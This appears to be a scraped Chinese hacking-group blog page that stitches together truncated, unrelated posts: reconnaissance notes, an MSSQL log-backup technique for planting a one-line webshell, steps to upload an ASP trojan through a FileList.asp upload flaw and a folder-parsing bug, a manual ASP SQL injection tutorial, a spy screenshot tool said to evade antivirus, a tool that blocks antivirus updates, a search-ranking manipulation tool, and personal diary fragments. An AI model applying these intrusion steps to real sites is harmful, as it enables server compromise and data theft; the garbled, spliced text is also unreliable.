☆友情链接排名不分先后 要做Logo连接的请留言 我会在第一时间做好☆

「T．S．T」信息安全团队'blog

如果说渗透中我们需要扫描什么信息？那么一说可就多了，不过常规的都会扫描以下信息：

1.目标网络上的主机IP地址

2.主机系统可访问的UDP或TCP端口

3.目标系统上的操作系统类型

那么作为一个专业的渗透人士会获取什么样的信息呢？

我们之前说明了关于主机侦察是渗透的第一部分，也是非常重要的一个部分，那么我们来看看具体如何区分这个吧！

最容易的获取当然是主动来获取，如：端口扫描、DNS查询、区域传输、PING扫描、路由跟踪、OS指纹检测等，

这文章不错，值得一看呢

作者：百事可乐

详细:

http://jifan.org/post/525/

得到的DB_OWNER权限

想到的是差异备份

exec master..xp_dirtree 'c:\',1,1

列目录

/*利用Url或者sql查询器Log备份一句话或Bat*/

alter database [master] set RECOVERY FULL--
create table cmd (a image)--
backup log [master] to disk = 'c:\cmd1' with init--
insert into cmd (a) values

屏幕截图王
这个软件可以截取你在电脑上的活动
以图片的方式保存起来
这样你可以防止你不在的时候别人用你电脑做一些事情
很不错的软件功能也很齐全
免杀过金山别的杀软我没有测试
我电脑就有金山

软件下载：点击下载

漏洞出现在 Utility/UploadFile/FileList.asp

这个页面可以 直接上传 下边是拿shell步骤：

在网站后便直接加上 Utility/UploadFile/FileList.asp 跳转到上传页面 然后新建文件夹 比如：123.asp

然后在我们刚才所建立的文件夹里上传格式为jpg的asp木马 比如xx.jpg （这里利用的是asp解析漏洞 123.asp文件夹里的图

给niaoshao广告下

刷百度关键字工具
作用 访问百度 搜索关键字 点击 添加代理
支持 非首页点击
Q 602442023
迅速提高百度排名

刚才突然看见我BLOG人气过四万了。

呵呵

截个图

我不想他，我真的不想想他。

我只想安心学习，明年去宁大上大学。

为什么当我埋头习作时，脑海中会浮现出她的身影。

为什么当我折叠卷子时，脑海中又会不经意的有她的身影。

我没有刻意去想她，一次次的不经意都令我感到内心的隐隐作痛。

内心深处的那种无止境的思念，她是否了解呢？

为什么她要走啊？

又是一个不眠夜，掀起轻浮在身上的被子，拉开那扇虚掩着的门。独自一人踱步在空旷的月光下。心中那纠结已久的事，开始慢慢诉说。

我从未曾想过自己的将来会是什么样子。更没有考虑过我的人生会意味着什么？从没有了目标和想法的那天起，我只是一

也不知道什么时候自己又犯晕了。从高考后，联系不上她，心里那个急啊。可是她之后打来电话时，我心里的窃喜又谁知道啊。现在和她闹矛盾了。我心里很时难受。喝酒、抽烟。胃痛。记得和她一起吃麻辣烫。给对方碗里夹菜时脸上洋溢的那种幸福。

记得我要离家出走时，她在路口挨冻一小时。只为了让我留下了念书。

记得她给我买的棒棒糖。

记得我失落时

terminator 终结者 电影中
未來，天网(Skynet) 将会向人类宣战！！！！！！！！！

为保护全地球人類的安全，
终於完成了 阻止天网(Skynet) 联网的 防火墻

反云安全器 - 附有VB源碼    by onlysee in www.dartst.com

特点：
1. 純VB，未加壳 = 44.0 KB
2. 可加壳
3. 断开TCP连接
4. 开机后自动运行

其实原理就是 防火墻

目的：
1. 断开所有指定連接
   阻上防毒更新/上

asp手工注入的教程

我在本地搭建了一个环境，作为 调试测试使用

首先，我们要想注入首先 要找个注入点，我相信这一点 大家都很熟系
http://localhost:1503/shownews.asp?id=52%20and%201=1 返回正确
http://localhost:1503/shownews.asp?id=52%20and%201=2 返回错误

这就可以判断 http://localhost:1503/shownews.asp?id=52 这里存在注入点
我们接下来就要猜解 数据库中的 管理员所在的表名

http://localhost:1503/shownews.asp?id=52%20and%20exists%20(select%20*%20from%20